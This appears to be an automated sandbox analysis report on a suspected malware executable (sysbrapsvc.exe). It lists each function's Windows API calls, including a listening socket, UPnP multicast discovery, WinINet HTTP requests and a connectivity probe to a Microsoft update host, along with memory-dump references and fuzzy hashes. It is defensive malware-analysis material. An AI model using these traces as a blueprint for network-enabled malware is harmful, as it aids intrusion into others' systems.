StrCmpNW.SHLWAPI(?,\??\,00000004), ref: 00406324

Strings

\??\, xrefs: 00406318

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: DeviceDriveQueryType
String ID: \??\
API String ID: 1681518211-3047946824
Opcode ID: 1f4486d3417c416fbe6947eda0d50e0154391f7c0caa962a9d661e7b197f6568
Instruction ID: fe1cba3e8f96ca8ec28924db8accccc61f2e919e988f9d14e04ecf4ac666ff3a
Opcode Fuzzy Hash: 1f4486d3417c416fbe6947eda0d50e0154391f7c0caa962a9d661e7b197f6568
Instruction Fuzzy Hash: 1901FFB0A4021CEBCB20DF55DD49BDAB7B4AB04704F00C0BAAA05A7280E6759ED5DF9C

Function 00401100 Relevance: 6.1, APIs: 4, Instructions: 86synchronizationCOMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32 ref: 0040112B
recvfrom.WS2_32 ref: 0040119C
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004011B2
WaitForSingleObject.KERNEL32(?,00000001), ref: 004011D3

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ExchangeInterlockedObjectSingleWaitioctlsocketrecvfrom
String ID:
API String ID: 3980219359-0
Opcode ID: ab8b34524f24c7ff0ec759a8db121372cfa49b223874d41307e8bdf502b19990
Instruction ID: dd229b18b8e608a96638b9a50d19e2d27eaf393d2ffc9a5ffa46aac6cea4a516
Opcode Fuzzy Hash: ab8b34524f24c7ff0ec759a8db121372cfa49b223874d41307e8bdf502b19990
Instruction Fuzzy Hash: 7C21C3B1504301AFD304DF65DC84A6BB7E9EF88318F004A3EF555A6290E774D9588BEA

Function 00401F50 Relevance: 6.1, APIs: 4, Instructions: 73networkCOMMON

Download Yara Rule

APIs

GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401F83
WSAGetOverlappedResult.WS2_32(?,?,?,00000000,?), ref: 00401FAF
WSAGetLastError.WS2_32 ref: 00401FB9
GetQueuedCompletionStatus.KERNEL32(?,?,?,?,000000FF), ref: 00401FF9

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CompletionQueuedStatus$ErrorLastOverlappedResult
String ID:
API String ID: 2074799992-0
Opcode ID: 6bed54afebf4a7a641f0d3d0188a4da0f589ce10c8675e9945177f158b09e6ba
Instruction ID: 85cdc4ac02e7a7d961e62fa06f42dc9c3305788cd6d7a2bd32de2e1c20a60a18
Opcode Fuzzy Hash: 6bed54afebf4a7a641f0d3d0188a4da0f589ce10c8675e9945177f158b09e6ba
Instruction Fuzzy Hash: DD212F715083159BC200DF55D884D5BB7E8BFCCB54F044A2EF59493291D734EA49CBAA

Function 00407300 Relevance: 6.1, APIs: 4, Instructions: 60sleepCOMMON

Download Yara Rule

APIs

StrChrA.SHLWAPI(00000000,0000007C), ref: 00407326
DeleteUrlCacheEntry.WININET(00000000), ref: 00407348
Sleep.KERNEL32(000003E8), ref: 00407361
DeleteUrlCacheEntry.WININET(?), ref: 00407389

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CacheDeleteEntry$Sleep
String ID:
API String ID: 672405725-0
Opcode ID: 0889daea8db3d00c114acb4ae5d662601a50873d8cf4ae377a86a09432f2b769
Instruction ID: e789c4acaeed7b47b7c3c4d69342d3bd95a049e3571e2ded942ca122a7fff21c
Opcode Fuzzy Hash: 0889daea8db3d00c114acb4ae5d662601a50873d8cf4ae377a86a09432f2b769
Instruction Fuzzy Hash: A5218175E04208FBDB04DFA4D885B9E7B74AF44309F10C4A9ED416B391D679AB80DB49

Function 00401AE0 Relevance: 6.0, APIs: 4, Instructions: 49networksleepCOMMON

Download Yara Rule

APIs

WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B0C
WSAGetLastError.WS2_32 ref: 00401B12
Sleep.KERNEL32(00000001), ref: 00401B28
WSASend.WS2_32(?,?,00000001,?,00000000,?,00000000), ref: 00401B4A

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Send$ErrorLastSleep
String ID:
API String ID: 2121970615-0
Opcode ID: 68b99e883f80ec4d8e473af3bb6ab78542c6fab184647b02e4118960a37caac2
Instruction ID: 6027246a5f20d5291fae036152240cd5c1f9414458335baedc5b4335fd2ad738
Opcode Fuzzy Hash: 68b99e883f80ec4d8e473af3bb6ab78542c6fab184647b02e4118960a37caac2
Instruction Fuzzy Hash: 8F014F712483046EE7209B96DC88F9B77A8EBC4711F508429F608961C0D7B5A9459B79

Function 0040D8C0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 0040D8D9
CloseHandle.KERNEL32(?), ref: 0040D908
LeaveCriticalSection.KERNEL32(?), ref: 0040D917
DeleteCriticalSection.KERNEL32(?), ref: 0040D924

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID:
API String ID: 3102160386-0
Opcode ID: 52aae5ad70f9b3043191c8c3e05b1acc6f9f728bea5bc6a869e37892dc5a7148
Instruction ID: 6abb592c5b2ce8a5c046663d5def4690e4bb0a573cdaefcdc4ae98697e0ceaa0
Opcode Fuzzy Hash: 52aae5ad70f9b3043191c8c3e05b1acc6f9f728bea5bc6a869e37892dc5a7148
Instruction Fuzzy Hash: 4E1161B4D00208EBDB08DF94D984A9DB775FF44309F1485A9E806A7341C739EF94DB85

Function 004017A0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,0040186C,?,?), ref: 004017B0
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 004017C0
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 004017CD
LeaveCriticalSection.KERNEL32(?,?,?,0040186C,?,?), ref: 00401808

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$EnterExchangeInterlocked
String ID:
API String ID: 2223660684-0
Opcode ID: 1975e189502b1b2e69aa421ca111548c6a80ae828394947d262874ebca66cfab
Instruction ID: 487697b266744d2b5c3d358b1528705abebcded3db4b06867e0c0ac6ea0c4339
Opcode Fuzzy Hash: 1975e189502b1b2e69aa421ca111548c6a80ae828394947d262874ebca66cfab
Instruction Fuzzy Hash: 4A01F7792423049FC3209F26ED84A9B73F8AF45711F04443EE44693650DB39E401CB28

Function 00406FC0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 238COMMON

Download Yara Rule

APIs

Part of subcall function 00407250: CoCreateInstance.OLE32(00000000,00000000,00004401,00000000,00000000), ref: 00407270

SysFreeString.OLEAUT32(00000000), ref: 004071D8

Strings

Microsoft Corporation, xrefs: 00407146

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CreateFreeInstanceString
String ID: Microsoft Corporation
API String ID: 586785272-3838278685
Opcode ID: 0f33dd4f09808e29644e00a9613dd62e49f7ac0aadddbd45ce77e6b9e4c1ac58
Instruction ID: 3bd6e37ccb81fb26e20ba6f4aecac2bab56e95e75b440682a2c5ba52433a4c42
Opcode Fuzzy Hash: 0f33dd4f09808e29644e00a9613dd62e49f7ac0aadddbd45ce77e6b9e4c1ac58
Instruction Fuzzy Hash: 2D91EC75A0410ADFCB04DF94C894AAFB7B5BF49304F208169E515BB3E0D734AD41CBA6

Function 0040DE30 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 101COMMON

Download Yara Rule

APIs

Part of subcall function 0040E070: memset.NTDLL ref: 0040E098
Part of subcall function 0040E070: InternetCrackUrlA.WININET(0040DB49,00000000,10000000,0000003C), ref: 0040E0E8
Part of subcall function 0040E070: InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040E0F8
Part of subcall function 0040E070: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E131
Part of subcall function 0040E070: HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E167
Part of subcall function 0040E070: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040E18F
Part of subcall function 0040E070: InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E1D8
Part of subcall function 0040E070: InternetCloseHandle.WININET(00000000), ref: 0040E267

Part of subcall function 0040DF60: SysAllocString.OLEAUT32(00000000), ref: 0040DF8E
Part of subcall function 0040DF60: CoCreateInstance.OLE32(004128F0,00000000,00004401,004128E0,00000000), ref: 0040DFB6
Part of subcall function 0040DF60: SysFreeString.OLEAUT32(00000000), ref: 0040E051

SysFreeString.OLEAUT32(00000000), ref: 0040DF0B
SysFreeString.OLEAUT32(00000000), ref: 0040DF15

Strings

%S%S, xrefs: 0040DEF6

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Internet$String$Free$HttpOpenRequest$AllocCloseConnectCrackCreateFileHandleInstanceReadSendmemset
String ID: %S%S
API String ID: 1017111014-3267608656
Opcode ID: a146118a585c525953cbf50a01d03d7454997d8c312527b14433dc9a100378f5
Instruction ID: c1d615742e0f1fe272601d31d467041fc69409a08f8fe5a36c80dfd154d40f90
Opcode Fuzzy Hash: a146118a585c525953cbf50a01d03d7454997d8c312527b14433dc9a100378f5
Instruction Fuzzy Hash: 5F414BB5E0020A9FCB04DFE4C885AEFB7B9BF48304F148569E505B7390D738AA45CBA5

Function 0040DAF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000002,?,?,?,00407EC8), ref: 0040DAFA

Part of subcall function 0040DBC0: socket.WS2_32(00000002,00000002,00000011), ref: 0040DBDA
Part of subcall function 0040DBC0: htons.WS2_32(0000076C), ref: 0040DC10
Part of subcall function 0040DBC0: inet_addr.WS2_32(239.255.255.250), ref: 0040DC1F
Part of subcall function 0040DBC0: setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040DC3D
Part of subcall function 0040DBC0: bind.WS2_32(000000FF,?,00000010), ref: 0040DC73
Part of subcall function 0040DBC0: lstrlenA.KERNEL32(00411C48,00000000,?,00000010), ref: 0040DC8C
Part of subcall function 0040DBC0: sendto.WS2_32(000000FF,00411C48,00000000), ref: 0040DC9B
Part of subcall function 0040DBC0: ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040DCB5

Part of subcall function 0040DE30: SysFreeString.OLEAUT32(00000000), ref: 0040DF0B
Part of subcall function 0040DE30: SysFreeString.OLEAUT32(00000000), ref: 0040DF15

Strings

UDP, xrefs: 0040DB88
TCP, xrefs: 0040DB6B

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FreeString$Initializebindhtonsinet_addrioctlsocketlstrlensendtosetsockoptsocket
String ID: TCP$UDP
API String ID: 1519345861-1097902612
Opcode ID: f2a508b97fbae45076dd5aa5ad3ba9adeb76e4e7dff97a5c25cb73082fa5fcae
Instruction ID: 6b43ad666573891978052671c2ef92d80966ae61c726f1f98895f42c7cfd0708
Opcode Fuzzy Hash: f2a508b97fbae45076dd5aa5ad3ba9adeb76e4e7dff97a5c25cb73082fa5fcae
Instruction Fuzzy Hash: 13117CB5D00208ABDB00EFE5DC46BAEB375EB44308F10856AE405772C6D7786A64CF9A

Function 00405E50 Relevance: 5.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(0041A400,?,00000000,?), ref: 00405E5F
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405E9E
memcpy.NTDLL(00000000,00000000,00000100), ref: 00405F13
LeaveCriticalSection.KERNEL32(0041A400), ref: 00405F30

Memory Dump Source

Source File: 00000000.00000002.1426427189.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1426413051.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426443501.0000000000410000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426456914.0000000000414000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1426469956.000000000041A000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: CriticalSectionmemcpy$EnterLeave
String ID:
API String ID: 469056452-0
Opcode ID: ca7ff8a173ea6a847f8488c1e8f62911d32ba33057f6ba12d9e30303517d8d68
Instruction ID: 7768dcd7b9dbcee261a05c0b48706a70a5e16e7133226d349280dc208485dc19
Opcode Fuzzy Hash: ca7ff8a173ea6a847f8488c1e8f62911d32ba33057f6ba12d9e30303517d8d68
Instruction Fuzzy Hash: 73216B70D04208ABDB04DF94D889BDEB771EB44304F14C1BAE84567281C3BDAA95CF9A

Analysis Process: sysbrapsvc.exePID: 5588, Parent PID: 6832COMMON

Execution Graph

Execution Coverage:	14.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1480
Total number of Limit Nodes:	38

Executed Functions

Function 00402020 Relevance: 16.6, APIs: 11, Instructions: 131
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNELBASE(?,?), ref: 00402043
InitializeCriticalSection.KERNEL32(00000020), ref: 00402057
CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 00402065
CreateIoCompletionPort.KERNEL32(000000FF,00000000,00000000,00000000), ref: 0040207E

Part of subcall function 0040D5E0: InitializeCriticalSection.KERNEL32(-00000004), ref: 0040D5FE

WSASocketA.WS2_32(00000002,00000001,00000006,00000000,00000000,00000001), ref: 004020AB
setsockopt.WS2_32 ref: 004020D1
htons.WS2_32(?), ref: 00402101
bind.WS2_32(?,0000FFFF,00000010), ref: 00402117
listen.WS2_32(?,7FFFFFFF), ref: 0040212F
WSACreateEvent.WS2_32 ref: 0040213A
WSAEventSelect.WS2_32(?,00000000,00000008), ref: 0040214E

Part of subcall function 0040D610: EnterCriticalSection.KERNEL32(-00000004,00000000), ref: 0040D634
Part of subcall function 0040D610: CreateThread.KERNELBASE(00000000,?,00000000,?,00000000,?), ref: 0040D68F
Part of subcall function 0040D610: GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002), ref: 0040D6CC
Part of subcall function 0040D610: GetCurrentProcess.KERNEL32(00000000,00000000), ref: 0040D6D7
Part of subcall function 0040D610: DuplicateHandle.KERNEL32(00000000), ref: 0040D6DE
Part of subcall function 0040D610: LeaveCriticalSection.KERNEL32(-00000004), ref: 0040D6F2

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CreateCriticalSection$Event$CurrentInitializeProcess$CompletionDuplicateEnterHandleInfoLeavePortSelectSocketSystemThreadbindhtonslistensetsockopt
String ID:
API String ID: 1603358586-0
Opcode ID: 4db169d13743859b8383a90071416f4958d16977be98986f5eea89773197346b
Instruction ID: 3d527d3106709ffe12c11fbc149f9fb6bead9182873b01420bf0fd5d4f043c35
Opcode Fuzzy Hash: 4db169d13743859b8383a90071416f4958d16977be98986f5eea89773197346b
Instruction Fuzzy Hash: C441B070640301BBD3209F649D0AF4B77E4AF44720F108A2DF6A9EA6D4E7F4E445C75A

Function 0040DBC0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 117
networkstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 0040DBDA
htons.WS2_32(0000076C), ref: 0040DC10
inet_addr.WS2_32(239.255.255.250), ref: 0040DC1F
setsockopt.WS2_32(000000FF,0000FFFF,00000020,00000001,00000001), ref: 0040DC3D

Part of subcall function 0040AF30: htons.WS2_32(00000050), ref: 0040AF5D
Part of subcall function 0040AF30: socket.WS2_32(00000002,00000001,00000000), ref: 0040AF7D
Part of subcall function 0040AF30: connect.WS2_32(000000FF,?,00000010), ref: 0040AF96
Part of subcall function 0040AF30: getsockname.WS2_32(000000FF,?,00000010), ref: 0040AFC8

bind.WS2_32(000000FF,?,00000010), ref: 0040DC73
lstrlenA.KERNEL32(00411C48,00000000,?,00000010), ref: 0040DC8C
sendto.WS2_32(000000FF,00411C48,00000000), ref: 0040DC9B
ioctlsocket.WS2_32(000000FF,8004667E,00000001), ref: 0040DCB5

Part of subcall function 0040DD40: recvfrom.WS2_32(000000FF,?,00000400,00000000,00000000,00000000), ref: 0040DD8E
Part of subcall function 0040DD40: Sleep.KERNELBASE(000003E8), ref: 0040DD9E
Part of subcall function 0040DD40: StrCmpNIA.SHLWAPI(?,HTTP/1.1 200 OK,0000000F), ref: 0040DDBB
Part of subcall function 0040DD40: StrStrIA.SHLWAPI(?,LOCATION: ), ref: 0040DDD1
Part of subcall function 0040DD40: StrChrA.SHLWAPI(?,0000000D), ref: 0040DDFE

Strings

239.255.255.250, xrefs: 0040DC1A

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: htonssocket$Sleepbindconnectgetsocknameinet_addrioctlsocketlstrlenrecvfromsendtosetsockopt
String ID: 239.255.255.250
API String ID: 726339449-2186272203
Opcode ID: e3877ef1b52134d83e5684ab209baab9a63aea7bea6a3d9c299911e37c6d3f39
Instruction ID: ef7ed27ddc10e69a95ecf683d08ad8987f4418d9446925fcf09c3d01f5f265dc
Opcode Fuzzy Hash: e3877ef1b52134d83e5684ab209baab9a63aea7bea6a3d9c299911e37c6d3f39
Instruction Fuzzy Hash: 7141F8B4E10208ABDB14DFE4E889BEEBBB5EF48304F108169F505B7390E7B55A44CB59

Function 00401470 Relevance: 9.1, APIs: 6, Instructions: 89networkthreadCOMMON

Download Yara Rule

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 004014B2
socket.WS2_32(00000002,00000002,00000011), ref: 004014C1
htons.WS2_32(?), ref: 00401508
setsockopt.WS2_32(?,0000FFFF), ref: 0040152A
bind.WS2_32(?,?,00000010), ref: 0040153B

Part of subcall function 00401330: SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401346
Part of subcall function 00401330: WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 00401352
Part of subcall function 00401330: CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040DA0D,00000000), ref: 0040135C

CreateThread.KERNELBASE(00000000,00000000,Function_00001100,00000000,00000000,00000000), ref: 00401569

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: CreateEvent$CloseHandleObjectSingleThreadWaitbindhtonssetsockoptsocket
String ID:
API String ID: 4174406920-0
Opcode ID: 085a1a8f7e688ed9381a465e3f998c9afd0c9800f7049c23b91f22d3bd70f74c
Instruction ID: ddf1df2f5e3c49f21769c3cd8a86baa6c810c68bf5de7ecead628d1f617bc177
Opcode Fuzzy Hash: 085a1a8f7e688ed9381a465e3f998c9afd0c9800f7049c23b91f22d3bd70f74c
Instruction Fuzzy Hash: 72319571A44301AFE320DF649C4AF9BB6E0AF48B14F40493DF695EB2E0D3B5D544879A

Function 0040AF30 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60networkCOMMON

Download Yara Rule

APIs

htons.WS2_32(00000050), ref: 0040AF5D

Part of subcall function 0040AEF0: inet_addr.WS2_32(0040AF71), ref: 0040AEFA
Part of subcall function 0040AEF0: gethostbyname.WS2_32(?), ref: 0040AF0D

socket.WS2_32(00000002,00000001,00000000), ref: 0040AF7D
connect.WS2_32(000000FF,?,00000010), ref: 0040AF96
getsockname.WS2_32(000000FF,?,00000010), ref: 0040AFC8

Strings

www.update.microsoft.com, xrefs: 0040AF67

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857088317.0000000000419000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_sysbrapsvc.jbxd

Yara matches

Similarity

API ID: connectgethostbynamegetsocknamehtonsinet_addrsocket
String ID: www.update.microsoft.com
API String ID: 4063137541-1705189816
Opcode ID: 4ae1ef7093756838ff96254105526815b724e83601429590a4066d3349afa6d4
Instruction ID: 8d2b89a1e3841e6cd000a2b550c173cff20965c169263ef180e6ea1a6d777d84
Opcode Fuzzy Hash: 4ae1ef7093756838ff96254105526815b724e83601429590a4066d3349afa6d4
Instruction Fuzzy Hash: D1213BB0E103099BCB04DFE8D946AEEBBB5AF08300F108169E504F7390E7745A44CBAA

Function 0040C330 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(~@,00000000,00000000,00000001,F0000040,?,?,0040C389,~@,00000004,?,?,0040C3BE,000000FF), ref: 0040C343
CryptGenRandom.ADVAPI32(~@,?,00000000,?,?,0040C389,~@,00000004,?,?,0040C3BE,000000FF), ref: 0040C359
CryptReleaseContext.ADVAPI32(~@,00000000,?,?,0040C389,~@,00000004,?,?,0040C3BE,000000FF), ref: 0040C365

Strings

~@, xrefs: 0040C33F, 0040C355, 0040C361, 0040C342, 0040C358, 0040C364

Memory Dump Source

Source File: 00000002.00000002.3855988501.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.3855923885.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3856023683.0000000000410000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.3857033201.0000000000414000.00000008.00000001.01000000.00000004.sdmpDownload File
